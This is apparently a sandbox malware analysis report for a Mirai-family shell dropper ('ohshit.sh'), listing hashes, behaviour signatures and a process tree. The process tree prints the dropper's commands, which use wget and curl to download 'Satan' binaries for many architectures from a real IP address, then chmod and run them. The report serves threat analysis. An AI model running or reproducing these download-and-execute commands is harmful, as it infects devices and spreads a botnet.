Analysis

  • max time kernel
    139s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    14-11-2024 00:12

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    c6fded176e564c4f582523ba198be43d

  • SHA1

    e10b19d975f65e398b0a928f5e03b0f83aeadd65

  • SHA256

    eb177007a8b2654ecbbfb91246abae4052bea475b54af2fe2c9e4058ba79ac82

  • SHA512

    e0b9fed97a3b4b035dfdd5b1c3ee36f2571949abbd081dc02fdd24b911cb5ff4aa79036f263be7ca6e388bfb9fdfd41f33f2ab567bd17b5dd164072d82333b96

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 28 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 28 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1514
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:1515
    • /usr/bin/wget
      wget http://45.137.70.156/nice/Satan.arc
      2⤵
      • Writes file to tmp directory
      PID:1516
    • /usr/bin/curl
      curl -O http://45.137.70.156/nice/Satan.arc
      2⤵
      • Writes file to tmp directory
      PID:1521
    • /bin/cat
      cat Satan.arc
      2⤵
        PID:1522
      • /bin/chmod
        chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-EkMUze
        2⤵
        • File and Directory Permissions Modification
        PID:1523
      • /tmp/Satan
        ./Satan
        2⤵
        • Executes dropped EXE
        PID:1524
      • /usr/bin/wget
        wget http://45.137.70.156/nice/Satan.x86
        2⤵
        • Writes file to tmp directory
        PID:1526
      • /usr/bin/curl
        curl -O http://45.137.70.156/nice/Satan.x86
        2⤵
        • Writes file to tmp directory
        PID:1527
      • /bin/cat
        cat Satan.x86
        2⤵
          PID:1528
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.x86 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-EkMUze
          2⤵
          • File and Directory Permissions Modification
          PID:1529
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1530
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1536
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1537
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-EkMUze
          2⤵
          • File and Directory Permissions Modification
          PID:1539
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1540
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.i686
          2⤵
          • Writes file to tmp directory
          PID:1546
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.i686
          2⤵
          • Writes file to tmp directory
          PID:1547
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-EkMUze
          2⤵
          • File and Directory Permissions Modification
          PID:1549
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1550
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1556
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1557
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-EkMUze
          2⤵
          • File and Directory Permissions Modification
          PID:1559
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1560
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.mips64
          2⤵
          • System Network Configuration Discovery
          PID:1566
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.mips64
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1567
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-EkMUze
          2⤵
          • File and Directory Permissions Modification
          PID:1569
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1570
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1576
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1577
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-EkMUze
          2⤵
          • File and Directory Permissions Modification
          PID:1579
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1580
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.arm
          2⤵
          • Writes file to tmp directory
          PID:1588
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.arm
          2⤵
          • Writes file to tmp directory
          PID:1589
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef
          2⤵
          • File and Directory Permissions Modification
          PID:1591
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1592
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.arm5
          2⤵
          • Writes file to tmp directory
          PID:1598
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.arm5
          2⤵
          • Writes file to tmp directory
          PID:1599
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef
          2⤵
          • File and Directory Permissions Modification
          PID:1601
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1602
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.arm6
          2⤵
          • Writes file to tmp directory
          PID:1608
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.arm6
          2⤵
          • Writes file to tmp directory
          PID:1609
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef
          2⤵
          • File and Directory Permissions Modification
          PID:1611
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          PID:1612
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.arm7
          2⤵
          • Writes file to tmp directory
          PID:1618
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.arm7
          2⤵
          • Writes file to tmp directory
          PID:1619
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef
          2⤵
          • File and Directory Permissions Modification
          PID:1621
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1622
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.ppc
          2⤵
          • Writes file to tmp directory
          PID:1628
        • /usr/bin/curl
          curl -O http://45.137.70.156/nice/Satan.ppc
          2⤵
          • Writes file to tmp directory
          PID:1629
        • /bin/chmod
          chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef
          2⤵
          • File and Directory Permissions Modification
          PID:1631
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1632
        • /usr/bin/wget
          wget http://45.137.70.156/nice/Satan.sparc
          2⤵
            PID:1638
          • /usr/bin/curl
            curl -O http://45.137.70.156/nice/Satan.sparc
            2⤵
            • Writes file to tmp directory
            PID:1639
          • /bin/chmod
            chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef
            2⤵
            • File and Directory Permissions Modification
            PID:1641
          • /tmp/Satan
            ./Satan
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1642
          • /usr/bin/wget
            wget http://45.137.70.156/nice/Satan.m68k
            2⤵
            • Writes file to tmp directory
            PID:1648
          • /usr/bin/curl
            curl -O http://45.137.70.156/nice/Satan.m68k
            2⤵
            • Writes file to tmp directory
            PID:1649
          • /bin/chmod
            chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef
            2⤵
            • File and Directory Permissions Modification
            PID:1651
          • /tmp/Satan
            ./Satan
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1652
          • /usr/bin/wget
            wget http://45.137.70.156/nice/Satan.sh4
            2⤵
            • Writes file to tmp directory
            PID:1658
          • /usr/bin/curl
            curl -O http://45.137.70.156/nice/Satan.sh4
            2⤵
            • Writes file to tmp directory
            PID:1659
          • /bin/chmod
            chmod +x busybox config-err-g8hyb1 netplan_3nzhnqb8 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef
            2⤵
            • File and Directory Permissions Modification
            PID:1661
          • /tmp/Satan
            ./Satan
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1662

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/Satan

          Filesize

          37KB

          MD5

          82509bfc921627d6e784bae29a9ba61f

          SHA1

          aeadcb2cdf407a6018c8cbdb82b7d9b385f12be6

          SHA256

          72e5f68a809d396480993cde5c6802a046394f2e7a92320533e34de2142fa92f

          SHA512

          ea43e1a867b233cb4e9b338f410b494461712b66ffb11ab1c170cf7d3f7724d6e9cd71d73934b33d2e66364f40b4e5375cf06c0bf3dc40f246da72a7388aee37

        • /tmp/Satan.arc

          Filesize

          113KB

          MD5

          6ccd2cf611113610ca7e9e6efafc43f0

          SHA1

          34d4a63a943b083fa733f57740643ce63d9f08c7

          SHA256

          1c18b60204b6deea529a26f9532b4978eb6241dc45e9a3c0a02b4c69f4544ac4

          SHA512

          c7439fc476482efcfeb7755331db01be3e4600eb543e495d08944492e67e8d8ed259c8b5dfa58b68b5f21e0b4b87c873b334a5dd128f8be5ae42a1a5fecef608

        • /tmp/busybox

          Filesize

          2.0MB

          MD5

          b4dede5fc0b1bad5cb8e901bde126b97

          SHA1

          10cbe9a418ad84a1ed297948539d37aeb58dd810

          SHA256

          a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

          SHA512

          45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6